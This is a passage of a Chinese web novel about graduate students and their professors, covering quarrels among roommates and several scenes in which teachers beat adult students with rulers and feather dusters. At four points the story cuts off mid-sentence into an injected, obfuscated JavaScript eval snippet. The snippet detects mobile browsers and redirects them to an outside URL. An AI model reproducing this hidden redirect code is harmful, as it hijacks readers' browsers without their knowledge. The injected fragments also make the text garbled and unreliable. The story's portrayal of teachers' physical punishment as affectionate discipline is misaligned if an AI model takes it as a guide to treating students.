“嗷!”柏阅冬没想到还会挨这么一下,疼得上身一仰,差点晕过去。 秦昭阳把鸡毛掸子放在茶几上,弯腰给他解手脚上的布条:“你自己说,是不是讨打?下次还这样,不把你打得下不了床我就不姓秦!” 不知是疼狠了还是被打怕了,布条全部解开,柏阅冬也没有动,还是趴在沙发上,一抽一抽的。 秦昭阳找了管消肿化瘀的药膏来,就看见小孩子两只手在身后摸来摸去,好不容易扯到内裤了,便要往上拉。秦昭阳看得来气,“啪”地给了他一巴掌,吓得柏阅冬立刻缩回手,“呜呜呜”地哭起来。 “都这样了急着穿什么裤子?”秦昭阳骂完一句,就舍不得了,立刻放缓了声音,“给你上点药,好了就不疼了。” 柏阅冬忽然一阵委屈,眼泪“哗啦啦”地流,可身体却一动不动,乖乖地由着老师上药,跟挨打前张牙舞爪的模样判若两人。 只是庄遂平远没有他那样的好运。纪老师离开办公室以后,他还是跪在那里。那个位置正在宽大书桌后,他那样跪着,完全被挡住了,就好像办公室里没有这么一个人似的。 不过也是,他在纪老师的心里,也从未存在过的吧。 纪老师到学院二楼开了个短会,才半个多小时,说的是各个专业增设本科生选修课的事,让各专业负责人回去安排本专业的老师进行讨论,下个月要提交到学校。纪老师本就筋疲力竭,听完这事更是打不起一点精神——他们专业老师少,现在他和秦昭阳都得上两门本科生的课,再增设选修课,谁来上呢? 头昏脑胀地回到办公室,刚想走过去坐一会,却被跪在地上的庄遂平吓了一跳。 他深呼吸,又把这些鸡零狗碎的事情想起来了。 “你怎么还在这里?” 庄遂平跪得膝盖都麻了,小腿完全失去了知觉,就连屁股上挨的戒尺都不疼了。本以为纪老师不会再回来,本以为他要跪到晕过去老师才会原谅他,没想到,老师还是回来了。 上天还是眷顾他的吧。 庄遂平呆呆地抬头,直勾勾地盯着老师的眼睛,嘶声道:“老师,我没有……” 9. 第 9 章 纪老师满心烦躁,根本不想管他有没有什么,一把抓了桌上那几张纸,塞进他怀里:“有没有,都是一样的,拿着你的文章滚出去!” 论文是用横格纸写的,好几页,全都被揉成了一团,像废纸一样。庄遂平看着怀里的纸团,两行热泪滚下,所有的尊严,都在这一刻被践踏了。 “老师,您为什么不能相信我?我真的没有心口不一!我是真的,真的愿意接受您的方式的!为什么不能给我一个机会?”庄遂平声泪俱下,“就算我真的做错了,您就不能原谅我一次吗?我有这么罪无可恕吗?” 纪老师被他哭得脑壳疼,一股火瞬间窜到头顶,当即揪着他的衣领拽起来,一把按在书桌上,动作太大,以至于原本卡在大腿根的裤子又往下滑了滑,快到膝弯处了。 “不就是想挨打吗?我成全你就是了!”纪老师一手按着他的腰,一手拿起戒尺,怒气冲冲就“噼里啪啦”抽了下去,不过十秒就将庄遂平一个屁股打得通红。 庄遂平被按在桌上,两手无处安放,只得像投降一样平放在桌面上,脸侧向一边,身后戒尺一边打眼泪一边流,全横着淌在桌上,蹭得整张脸都黏糊糊的。 挨过十几二十下,屁股便火辣辣地疼,庄遂平本能地挣扎起来,伴随着戒尺着肉的“啪啪”声上下呼痛:“呃……” “再给我乱动?!”纪老师好几次没打准,气得怒喝一声,吓得学生再不敢动弹了。于是他又扬起戒尺,跟泄愤似的,“啪啪啪”地抽了几十下,又急又重,连庄遂平的哭声都几乎盖过去了。 直到打得手臂酸软,纪老师才丢了戒尺:“现在满意了?出去!” 庄遂平泪水涟涟,什么话也不敢说,只得忍痛站起来,哭着穿好裤子,捡起地上的纸团,默默出去了。 纪老师不知怎么的,更烦躁了。 庄遂平一路低着头慢慢走,不愿意让人看见他通红的眼眶和始终停不下来的眼泪。出了学院,秋风一吹,他忽然感到一阵凄苦,偌大的校园,他能去哪里呢? “我当然知道魏晋时期的人都喜欢写时光飞逝,但是老师,陶渊明对待生死这种从容、平和、优雅的态度,只有曹丕才有。他没有那种急于建功立业的积极,也没有对生命易逝的恐惧,所以我才说在这方面,他是受曹丕影响啊!”刘巍思正在跟严先生讨论论文,忽然听到敲门声,不得不停下思路去开门,“谁这个时候来啊?” 门一开,刘巍思惊讶地看见失魂落魄的庄遂平:“遂平?你怎么了?” 严先生听到动静,起身来看:“是小庄吗?快进来吧。” 庄遂平其实也不是很愿意到这里来,可是这个陌生的大城市,陌生的校园,唯一能让他感受到温暖的只有这里。进了门,庄遂平也提不起精神说什么打扰了的客套话,只是唤了一声严老师好。 严先生看他一脸苍白,又是一副受了委屈的样子,便道:“巍思,你带小庄去你房里玩一会吧。” 刘巍思心领神会,点点头,扶着庄遂平往他房里去了。庄遂平知道那是个安全的空间,甫一进门,便差点跌倒在地。幸亏刘巍思抓得紧,硬是给扶到床上去了。 房间里没有开灯,显得十分昏暗,却也让庄遂平很安心,仿佛再丢脸,也不会有人知道。庄遂平趴在刘巍思的床上,嗅着一股陌生的气息,眼泪再次奔涌而出。 刘巍思脱了鞋,坐到他身边,低头问:“纪老师打你了么?” 庄遂平点了点头。 刘巍思不会安慰人,只能说些不痛不痒的话:“纪老师就是这样的,比较严格,你也不要太伤心了。要我帮你上药吗?” 庄遂平立刻摇头。 “那,那你在我这里睡会吧,我去做饭,你晚上在这里吃了饭,我陪你回宿舍去吧。”刘巍思体贴地扯过床边的薄棉被,“盖点被子,快入冬了,睡着了很冷的。” 庄遂平没有拒绝,享受了刘巍思的照顾,大约是身上疼得紧,又心力交瘁的,很快便睡了过去。 不远处的另一栋楼里,一个四十多岁的女人提着买好的菜打开了家门,见家里客厅坐了一个眉清目秀的年轻后生,不由得吓了一跳。 柏阅冬也吓了一跳,浑身不自在地站起来。 女人看看门框上的铭牌,确认自己没有走错地方,那家里怎么会有个男娃子呢? 秦昭阳走出来,指了指女人,冲柏阅冬道:“叫师母。” 柏阅冬从善如流,道:“师母好,我叫柏阅冬。” 女人拍拍胸脯,原来是秦昭阳的学生。她很快恢复了常态,走进屋换了拖鞋,道:“你就是柏阅冬,我听你秦老师说过,说你长得俊,还真是不赖。” 柏阅冬不太会应付这种场面,只是笑,不说话。 师母也没有见怪,自顾自进厨房准备做饭了。秦昭阳跟着走过去,说着些普通家庭的话题。 “嘉辰呢?怎么没见回来?” “下午打电话给我了,说去看电影,晚上和同学在外面吃了饭才回来呢!” “女孩子家家,老是在外面吃晚饭。” “你就由着她去吧,她又不是不懂事的孩子。” 两人说着,师母又探头出来:“阅冬,今晚在我们家吃了饭再回去吧,正好买多了菜。” “好,谢谢师母。”柏阅冬应了一声,又想,那个嘉辰是谁?他们的小孩?还是个女孩子。老师四十七八,师母看着也有四十五了,他们的小孩多大了? 师母总是比师父更关心小孩,古往今来莫不如此。柏阅冬在餐桌上切身感受到了被师母全方位关心的恐惧。 “阅冬看着好小,今年多大了呀?” “师母,我二十了。” “二十,好小哦,也太厉害了,二十岁就读研究生了,你看现在好多大学生考上大学都二十几了,是吧昭阳?哎,那你是哪里人呀?” “我是上海人。” “上海,上海好,家里父母呢?做什么的?” “爸妈在国外。” “在国外啊?那只有你一个在国内?还有没有兄弟姐妹啊?” 终于烦得秦昭阳看不下去了,打断道:“他是来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590808|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 读书,又不是来谈对象,你问这么清楚干嘛?” “哎哟,书要读,对象也要谈啊,我问清楚一点,有合适的我就给介绍嘛!” 秦昭阳警告地盯着柏阅冬:“你别想这么多七七八八的啊,赶紧给我吃,吃饱了就上纪老师那儿去!” 没想到话题岔到这,他师母还是接得上话:“惹老纪生气了?” 柏阅冬点了点头。 师母没觉得小孩罪不可赦,还心疼地给他夹了块排骨:“想让你们纪老师不生气还挺难的是吧?我们家闺女,考上咱们学校,本来说读个中文系,以后跟她爹一样,就为着不想见到你们纪老师,硬是学法语去了。” 柏阅冬一下笑出了声。 “哎,你们这一届谁选纪老师当导师?” “我舍友,庄遂平。” “他有对象没有?” 柏阅冬想想,摇摇头:“应该没有吧。” 师母筷子往碗里一戳:“那以后我给人女孩说对象也不介绍他,他脑子不行,运气也不好。” 柏阅冬直接喷饭。 直到去纪老师家的路上,柏阅冬还在笑。真的,他师母这张嘴估计吵起架来也不会输给他师父。 “行了啊,别笑了,就这两步路,等会进了屋你给我严肃着点!”秦昭阳瞪了他一眼。 秦昭阳和纪慎住同一栋楼,不过一个住1单元,一个住3单元,确实是两步路的距离,中间经过一个昏黄的路灯,一拐进楼梯往上到4楼就是了。 秦昭阳看着柏阅冬正常了才抬手敲门,腹稿打了几回,只求这一整天折腾完,纪老师别再为难他们师生俩。 不过半分钟,门就开了,开门的正是纪老师。 秦昭阳笑笑,得体地打招呼:“纪老师。” 纪老师看看他,又看看站在后面的柏阅冬,侧身让了让:“进来吧。” 柏阅冬跟着老师走进屋里,只觉逼仄非常。倒不是说纪老师家里小,而是柜子太多了,几乎所有空的地方都放上了柜子,而柜子上又满满当当地塞着书,反倒不太有温馨的气息。 秦昭阳笑问:“嫂子不在家?” “这两天去孩子那儿了。”纪老师在家里显得不那么严肃,但也放松不到那里去,客厅茶几上盖着一本书,估计是开门前看的,“你们坐吧,我给你们倒水。” “纪老师不用忙了,我就是带柏阅冬来给您道个歉,孩子我教训过了,他也保证以后不会再胡闹,您就再给他一个机会,别跟他一般计较。”秦昭阳说着给柏阅冬使了个眼色,柏阅冬只得硬着头皮上前,不情不愿道:“纪老师,我知道错了,我以后不会再没大没小的,也不会去闯您的办公室、插手您的事情,请您原谅!” 纪老师不知是累了还是怎么的,竟真的不想计较了,就算看出了这孩子不是真心认错,也没有指出来,只摆摆手道:“算了,没有下次,回去吧。” 这么容易?柏阅冬有点不肯相信了,这真的是纪老师吗? 秦昭阳则是见好就收,带着小孩匆匆告别,离开了纪慎家。 10. 第 10 章 柏阅冬从纪老师家出来就回宿舍去了。今天挨了他人生中第一顿打,打得不算轻,但是上了药,又歇了这么半天,其实没什么痛感了。柏阅冬去公共浴室洗了澡,回来后仔细看了一下屁股,发现只有两团绯红了,如果不是用力挤压,并不会有太大的痛感。 让他不安的反而是庄遂平。快九点了,以往这个时候庄遂平肯定回到宿舍收拾齐整了,可是今天柏阅冬还没见到他的影子,床铺和书桌也不像有人动过的样子——遂平是一直没有回来吗? 柏阅冬坐在床上,面对庄遂平空空的床铺,不由自主沉思:遂平从纪老师那里出来会去哪里?纪老师把他打伤了要去医院?不对,不像,他觉得丢人躲起来了?有这个可能。会不会是纪老师根本没放走他,还是继续打他?如果这样,遂平肯定伤得很重,会不会回不来了?要不要去接他呀? 柏阅冬“唰”一下下床穿鞋要去找人,可还没到门口又有点担心,会不会还是在宿舍等比较好?不管什么事,这个点总该回来了,要不还是等等吧…… 柏阅冬坐回了床上,脑子里全是庄遂平,连屁股上的伤也不疼了,只想他赶紧回来。 煎熬了大半个小时,九点半左右门才“吱呀”一声打开,柏阅冬探个脑袋,见是庄遂平,喜出望外:“遂平,你回来啦!” 庄遂平后面还跟着刘巍思,让柏阅冬有点摸不着头脑:“巍思,你怎么跟遂平一起?” 刘巍思看庄遂平情绪一直低沉,不放心他自己回宿舍,因此送了过来:“我们一起吃的晚饭,顺便陪他回来。” 还能和刘巍思一起吃晚饭,看来是不要紧了。柏阅冬悬着的心总算放下了,笑问:“遂平,后来纪老师没有为难你吧?” 庄遂平抬眸看了他一眼,没有说话。 柏阅冬以为他是不好意思,摆摆手,表示自己不在意:“你没事就好,我还担心你呢,你这么晚都不回来,我怕你出事呢!” “你不用担心我,”庄遂平哑声道,“以后,你也别管我的事了。” 柏阅冬一怔,道:“是纪老师后来又打你了吗?我说他今晚怎么这么好说话,原来是打你出气了,气死我了!” “柏阅冬!”庄遂平猛然提高了音量,“这是我和我老师的事,请你不要再说了。” 柏阅冬脑子卡了一下,几乎不能理解他的意思:“你是说我在多管闲事是吧?” “是,我就是觉得你在多管闲事!如果不是你突然闯过去,纪老师也不会认为我跟你串通一气,不是真心接受他的方式!如果不是我后来在那里跪了那么久,他也不会原谅我!柏阅冬,你知不知道那种被抛弃的感觉?他让我滚,让我滚,你知道吗?”积攒了一天的情绪终于在此刻爆发了出来,庄遂平声音嘶哑,把那两个人都震住了。 可是柏阅冬只是冷笑了一声:“好,我多管闲事,就因为管你的闲事,我还被抽了一顿,还要被押着上你老师家道歉,我是自己找罪受吗?我他妈都是为了你好不好?早知道你愿意被脱了裤子挨打,愿意可怜兮兮地跪在那里求他,我死也不会管你的屁事!” 刘巍思都听懵了,只是看了庄遂平一下午加一晚上的低沉样子,不由得先入为主,先劝起了柏阅冬:“阅冬,你别这么激动,遂平他心情不好。” “他心情不好,那是他自找的!”柏阅冬长这么大,还没受过这种委屈,“我上次不也顾着他心情不好想尽办法帮他?他领情吗?他根本不在乎!他只在乎纪慎愿不愿意打他!纪慎打你一顿,你觉得可光荣了是吧?” “跟你有什么关系呢?你以为人人都是你吗?文章随便写写就是优秀,每个老师都夸你,天天开心得跟小孩一样。”庄遂平眼泪“唰”地淌下来,“你当然以为你是在帮我,可是我不需要,不需要!你管好自己就可以了!” 柏阅冬气极反笑:“我天天开心是我的错吗?你见不得别人开心啊?我天天哭丧着张脸,跟你一样你就高兴了?庄遂平,日子都是自己过的,你乐意天天苦着没关系,别他妈的把我拖下水!” ?“阅冬,你就少说两句吧,遂平他一身的伤……” “谁不是一身的伤?!刘巍思我告诉你,你今天要是站在他那边,我就跟你绝交!” 这也太无辜了吧?刘巍思两手一摊,简直没处说理:“我不是站在他那边,我是想让你们两个冷静一点!” 柏阅冬憋得眼眶通红:“我冷静得很,庄遂平,你这样的人,不配跟我做朋友。”说罢,抓起床上的厚外套,转身离开了寝室。 “阅冬!”刘巍思追到门口,又回头,恨不得把自己劈成两半。 庄遂平顿时失了力,瘫在床上。刘巍思叹声气,还是选择回来照顾庄遂平。 夜晚的秋风威力极大,不过两分钟就把柏阅冬的脸割得发疼,连碰都不敢碰。柏阅冬裹着外套,一到外头就抖个不停。刚才跑出寝室是冲动,可是他也绝不会再回去! 外套口袋里有一串钥匙,柏阅冬掏出来看了一下,决定借他师父的办公室过个夜。 学院几乎没人了,只有每层楼走廊还亮着灯,光线并不明亮,柏阅冬一个人走在三楼走廊上,心里一阵发毛,总时不时环顾四周,既怕有人,又怕没人。 快到办公室了,柏阅冬吓得快跑几步,哆嗦着掏出钥匙,找了两轮才找到办公室钥匙,赶紧开门,进屋关门。 各个办公室的灯在晚上十点以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590809|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 后就会统一关掉,柏阅冬在黑暗中,无奈地躺在地板上,瓷砖地板生冷,让他不住打冷战。只是,这已经是他最好的去处了。 不对,刚刚应该去学校外面,招待所住一晚也比这好,至少有张床。 气死了,庄遂平什么人啊?这么喜欢作践自己,还有刘巍思,竟然拉偏架!再也不跟他们两个好了! 柏阅冬在心里将那两人痛骂一顿,身心俱疲,蜷着身体睡过去了。 第二天一早,打开办公室门的秦昭阳被吓得灵魂出窍,直接一嗓子把柏阅冬惊醒了。师生俩一个吓得搬椅子一个吓得躲桌子,半晌才确定对方是谁。 “吓死我了。”秦昭阳惊魂未定,抖着手放下椅子,“你怎么会在这里啊?” 柏阅冬缓缓从桌子后面爬出来,揉了揉眼睛,又摸摸脸,确认自己睡觉没流口水,这才一脸萎靡道:“我也不想在这里啊!哈嚏——”估计是昨晚睡着凉了,柏阅冬感觉不太好。 “昨晚不是回宿舍去了吗?你可别告诉我你半夜良心发现,来我这学习,听着怪吓人的。” 柏阅冬人不精神,嘴上却不肯输:“我要是良心发现,就该先去收拾你这个没良心的师父!我的良心昨天就全喂狗了。”说着,哭腔竟不自觉冒了出来。 秦昭阳一听,不对劲啊,赶紧让他坐了:“你别这样啊,有事说事,有什么烂摊子你师父我去给你收,别哭哭啼啼的丢人现眼!” “我有什么烂摊子,是庄遂平那个***的一堆烂摊子!” 秦昭阳忍不住笑,却还顾着为人师表:“好好说话,什么脏话都说,也不嫌嘴巴臭。” “我嘴巴就是臭,跟他那种人说过话,我不仅嘴巴臭,全身上下都臭!”柏阅冬说着说着,眼泪就流下来了,“他第一次被纪老师打的时候,我还去帮他买药,昨天为了他挨一顿打,还要去给纪老师道歉,我回到宿舍,没见他人,担心得不得了,他回来说我多管闲事……我以后再也不管他的闲事了,还有刘巍思,不知道什么时候开始跟他穿一条裤子,不分青红皂白就让我少说两句,明明是庄遂平先开始说的!我都要被他们两个气死了……” 多大点事,秦昭阳边听边笑:“行了,你就是小孩子脾气,大家心情都不好么,发**来就好了,你还跑出来在这里睡一晚,不冷死你才怪!” “我宁可冷死也不愿意跟庄遂平住一个寝室!” “那怎么办呢?你也不能一直睡这里呀,脾气闹闹就行了,别搞得自己不舒服。” 柏阅冬赖在办公室里哭哭唧唧一上午,最后还是回寝室去了。只是回去以后也真没和庄遂平说一句话,庄遂平也没有和好的意思,两人各干各的,相安无事。 11. 第 11 章 周五下午是严先生的课。严先生一进会议室就愣了,上首的位置是留给他的,刘巍思和庄遂平分坐坐右,柏阅冬却坐在长桌的尽头,离得远远的。 “阅冬,你怎么坐这么后面呢?” 柏阅冬笑着回答:“严老师,我有点着凉,怕传染给大家了,就不坐过去了,我坐这里听得见。” “哦,那你身体要紧吗?不舒服的话要去看医生。” “没有大碍,降温了没注意,过两天就好了。” 严先生点点头,连说了两声好。刘巍思心虚地瞄了柏阅冬一眼,又看看庄遂平,庄遂平始终盯着面前的书,没有抬过头。 照常上了课,严先生又在课后关心了柏阅冬几句,便回去了。 刘巍思扶着老师一路从学院回到家里,进了屋,帮老师脱下外套放好,正要去给老师倒热水,便被叫住了:“巍思。” 刘巍思眉心一跳,不祥的预感漫上心头,转身看向坐在沙发上的老师。严先生仍然一脸温和,问:“你们几个怎么了?” 刘巍思抿抿唇,还是去倒了热水。当盛着热水的搪瓷杯放在茶几上时,刘巍思平静道:“老师,我去拿戒尺。” 有一段时间没打过孩子了。严先生看着小孩躲躲闪闪的模样,就知道他再听话也免不了犯错:“出什么事了?” 刘巍思两手捧着戒尺,缓缓跪在老师脚边,一五一十地把那天的事说了。严先生听完,笑道:“你还受连累了。” “不是的,老师,我……我没有搞清楚状况,没安慰好遂平,也没劝好阅冬,我觉得,我一定伤了阅冬的心了。” 严先生拿了戒尺放在一边,轻轻揉着孩子的脑袋,道:“其实这样的事,你可以不用管的。” “但是他们是我的同学。” “巍思心里,还是很在乎他们的,对吗?” 刘巍思点了点头。 “那就算那日没有做好,后来呢?这两天就没再去看看?” 刘巍思抿抿唇,没有说话。 “巍思这两日没去,是因为觉得那天受了无妄之灾,出力不讨好,所以干脆不管了,对不对?” 刘巍思不敢说话,只想,老师是不是有透视功能?为什么每次都能准确地猜出我在想什么? “巍思是不是还担心万一去了,又听到不好听的话,伤自尊,宁可不去?” 刘巍思头一歪,上身趴到了老师腿上。 “巍思,你很在乎他们,但其实还是更在乎自己,对吗?” 是这样的吗?刘巍思觉得老师说得有点道理,可他不能给出确定的回答,毕竟要承认他最在乎自己,几乎相当于要他说自己是个自私和虚伪的人。 严先生扶着小孩,让他上身完全横趴在自己大腿上,一手搂着他,一手伸到臀上褪裤:“和自己伤心比起来,阅冬伤心也没那么重要了,是不是?” 天气冷了,刘巍思穿了两条裤子,被老师一层层脱下来的时候不知怎么的格外羞耻,以至于他都没心思去想老师说得对不对。 还有内裤最后一道防线,可刘巍思已冷得连连打战,好不容易缓下来,却感到老师的手正隔着内裤轻轻拍他的屁股,安抚似的。 刘巍思羞得抬不起头:“老师……” 严先生瞧他不打冷颤了,才继续褪下他的内裤,道:“罚你是因为你做错了,但是你也这么大了,老师也不会强迫你去和谁交朋友。你要是觉得还想和阅冬做朋友,就拉下脸来,去道个歉,好好哄哄人家。阅冬是小孩子脾气,不会犟。你要是不想交这个朋友……” “老师,”刘巍思忙打断了,“我会去道歉的。” 真的是长大了,严先生想起他刚上大学闹脾气的样子,现在可真是太懂事了。严先生拿起戒尺在他臀上拍了两下:“该打多少?” 这可不好说,刘巍思不想挨打,自然不愿意说多,可说少了又显得自己没诚意,不是真心知错,前思后想,最后决定折中一下:“老师,打三十吧。” 严先生笑笑,很放心似的:“好,就打三十。” 长时间不挨打之后再挨打,那滋味总是格外不好受。刘巍思想起从前受罚的痛苦难耐,不禁往老师身上挪了挪,企图从老师身上获得些许勇气和力量。然而老师的力量几乎都汇聚在了戒尺上,“啪”一声兜风落下,责得身后两头肉一紧,随后才慢慢觉出疼痛来。 不算很重,但是钝、麻,硬生生的,不是好受的。 戒尺在臀上留下了一道横亘两片肉丘的红痕,不到两指宽,对这么大个人来说,简直不算什么。但是下一戒尺立刻追着咬了上来,精准地打在那道红痕之下,扩大了臀部红肿的范围。 刘巍思疼得浑身一抽,又立刻放松下来准备迎接之后的责罚,还不算很疼,他撑得住。 戒尺就这样一下下抽在屁股上,不紧不慢,五六下过去才将整个屁股照顾了一遍,留下了绯色的痕迹。刘巍思虽未喊疼,却能感觉到原本凉飕飕的屁股慢慢热了起来,不穿裤子也能抵御寒冷了。 之后的戒尺又从臀尖处开始,毫不犹豫地落在之前的绯红色上,不仅给屁股上了更深的颜色,也帮这两团肉不断升温,半数过后,刘巍思觉得他的屁股简直发烫了。 “啪!啪!啪!”戒尺依旧落下,但刘巍思已有些难耐,小幅度地扭动起来,嘴里也哼哼唧唧的:“呃……呜……疼……” “啪!啪!”“每一次挨打都喊疼,但还是会犯错,是不是?”严先生一边教训一边问。 “嘶——人非圣贤,孰能——啊!人都是会犯错的啊!” “所以老师才没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13590810|143212||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有重责你。”严先生手起尺落,打完了最后的数目,“老师知道,巍思已经做得很好了,不用像圣人一样。” 刘巍思不住倒抽凉气,挨打没想哭,听老师安慰两句倒是鼻子酸了:“老师,我以后还会犯错,对吗?” “当然,你自己说的,人都会犯错的。”严先生放好戒尺,轻轻给小孩揉起屁股来。 其实也没有多疼,比起纪老师来,老师已经很温柔了。刘巍思安心地趴伏在老师身上,问:“那以后犯了错,也是这样打屁股吗?” “长大了说这些话也不羞,你犯了小错,自然是老师收拾你,你要是犯了大错,老师也保不住你,所以,还是得警醒,知道吗?” “知道了,我不会乱来的。” “嗯,老师知道,巍思最乖了。” 最乖的刘巍思第二天就去图书馆堵柏阅冬去了。他以前和柏阅冬一起去过图书馆,知道哪里能找到人。五楼的靠窗位置,柏阅冬还像往常一样,看书看得入迷,时不时拿笔在本子上写着什么,刘巍思拿着本书,轻轻在他对面坐下。 “哗啦啦”地翻起书,声响大得柏阅冬烦躁地抬头,结果却看见不想见的人,当即收拾了书和本子要走。 刘巍思拔腿就追,拉着他的手走到外头走廊:“阅冬。” 柏阅冬不说话,白了他一眼就扭开脸了。 “我给你道歉,你别生气了。” “那天遂平去找我,委屈了一天,我又不知道你怎么了,就帮他说话了。是我不清楚情况,我说错话了,您大人有大量,别跟小的计较成不?” “你还生气呢?怎么才消气啊?我今晚请你看电影呗!喝汽水!请你吃饭好了吧?” “请你去外面吃,不吃食堂好了吧?” 柏阅冬一脸骄矜,脖子仰得高高的:“你要是叫了庄遂平,我就不去了。” “没叫他,专程来哄你呢!我老师昨天一眼就看出来了,回去又教训我,”刘巍思转头趴在栏杆上,“我也知道自己没做好,这几天也想了要来找你的,又拉不下脸,本来我夹在你们俩中间就挺无辜的……” “你别跟我讲这些有的没的,以后我跟别人吵架,你站别人那边,我就再也不和你做朋友了。” “那也不能这样吧,万一是你错呢?” “不可能,我做错事了怎么还有脸跟人家吵架?我又不是庄遂平!” “唉,其实他也……”本来想为庄遂平说两句好话的,被柏阅冬一盯,刘巍思讪讪地住了口,过了好一会儿才道,“晚上咱俩涮羊肉去吧。” “不要,膻。” “那吃烤鸭。” “不要,膩。” “那烤肉?” 本来想说没诚意,但柏阅冬也觉得太折腾他了,便点了点头。 12. 第 12 章 坐落在胡同口的烤肉酒馆,生意很好,但像刘巍思和柏阅冬这样学生模样的人却不多。说回来,那个时候上一次饭馆的钱够普通家庭吃好几顿,大部分靠着学校补贴过活的大学生是不可能上这种地方的。 柏阅冬看刘巍思平时穿得十分朴素低调,不禁有些怀疑:“你确定你请得起?” 刘巍思不以为意:“嗯,我老师给了钱。” 柏阅冬:“……” 果然,他就不该操心严老师的宝贝学生。 刘巍思和柏阅冬选了一张小桌,各色肉食都要了些,又点了个披萨,还要了一瓶酒。柏阅冬几乎要对他刮目相看了:“你还挺会吃。” 刘巍思耸耸肩:“你知道,食堂就那样,我跟我老师也不是很会做饭,所以……” “所以你们就在外面过这种奢靡的生活!” “也不是经常啦,偶尔会出来吃,而且也不是每一次都是我们自己吃,有时会有招待活动,我老师就带我去吃,而且我在这里也好几年了,知道哪些好吃也不奇怪吧。” 柏阅冬“啧”了一声:“怎么没见秦昭阳带我出来吃?” 刘巍思惊讶瞪眼:“阅冬,你怎么直呼秦老师大名?” “我叫他大名都算好的,他一天到晚阴阳怪气的,应该改名叫秦阴阳。” “阅冬!” “难道你们觉得他很好?不会吧?不会你们都受得了他吧?” 刘巍思实在想不出秦老师有什么不好的:“我觉得挺好的啊!” “好吧,我不想说他了。”柏阅冬低头在包里翻找了一阵,拿出一个圆形的彩色锡皮盒子递给他,“这是给你的。” 刘巍思接过来,看了几眼上面的彩绘和英文:“这是什么?” “饼干,我哥从国外寄回来的。” “你还有个哥啊?”刘巍思不客气,直接把饼干收起来了,“你哥不会叫柏经秋吧?” 柏阅冬一拍桌子,十分激动:“你怎么知道?” 刘巍思简直哭笑不得:“就,经秋、阅冬,是吧?” “但以前都没人猜到哎,还是你厉害一点。”柏阅冬说着想起正经事来,“你在这里好几年,那你知不知道,我们学院,做文献比较厉害的,除了纪老师,还有谁?” “做文献,”刘巍思皱着眉头寻思,“童院长啊,他不就是搞文献的嘛,今年那个文献学的研究生就是选童院长当导师。” 柏阅冬挠头,自言自语:“可是,我去找院长,也太奇怪了吧……还有没有别人啊?” “别人……我们学院一共也没几个老师啊!我相信……我想到了,还有一个,”刘巍思眼睛都亮了,“我大师兄!” 周一下午,古代文学专业例行的教师会议,就在平时他们给研究生上课的小会议室里。纪慎和秦昭阳是提前到了的,一个站走廊一个站门口,恭恭敬敬地等着严先生。 天气太冷了,严先生出门前加了件毛衣,来得晚了些,一到就忙道:“我来晚了,你们在里面等就好了嘛,外面这么冷。” 纪老师扶着严先生走进去,又帮忙拉开椅子:“我们也没等几分钟,没事。” 秦昭阳给严先生倒了热茶:“严老师,您暖暖身子。” 从外面进来,一身寒气,严先生两手握着热茶杯,嘴里呵着热气:“不用忙活了,开会嘛,有什么就说,说完了大家就去忙,不用管我。” 几人分别坐好,纪老师便道:“上周学院开会,是说要每个专业多出一门选修课,现在学生的选修课太少了,咱们专业之前只有严老师开过一门《诗经》精读课,但是去年开始严老师就不上了,所以我们这次还得出一个选修课。那我也去问了其他专业,跟文艺学的商量了一下,我们可以合出一门中国古代批评文本细读的课程,他们出一个老师,我们出一个老师,一边上一半课程,严老师觉得怎么样?” 严先生点了点头,纪慎做事还是非常妥当的,这几年当系主任、学科负责人也没出过大事,让人心服口服。 “中国古代批评文本细读,这个课程还是很有价值的,但是对老师和学生的要求都很高,大一的娃娃基础和耐心都不够,至少要大二才能开始选,我们这边让谁去呢?” 这就是为难的地方了,尽管已经降到一半课程,但备课、改作业、期末考核,对教师来说都是很重的任务。纪老师根本腾不出时间,也没那么厚的脸皮把这个任务给课和他一样多的秦昭阳,但是他更不能开口让严先生去。 秦昭阳也不想,但是真没办法了,只得主动道:“严老师,纪老师,要是信得过我的话,不如……” 严先生神情凝重:“昭阳现在几门课了?” “现在上古代经典作品导读,下学期上魏晋到唐代文学史,还有研一的一门课,讲文学研究和其他学科的关系。” 严先生摇摇头:“教学任务太重了,再加课, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 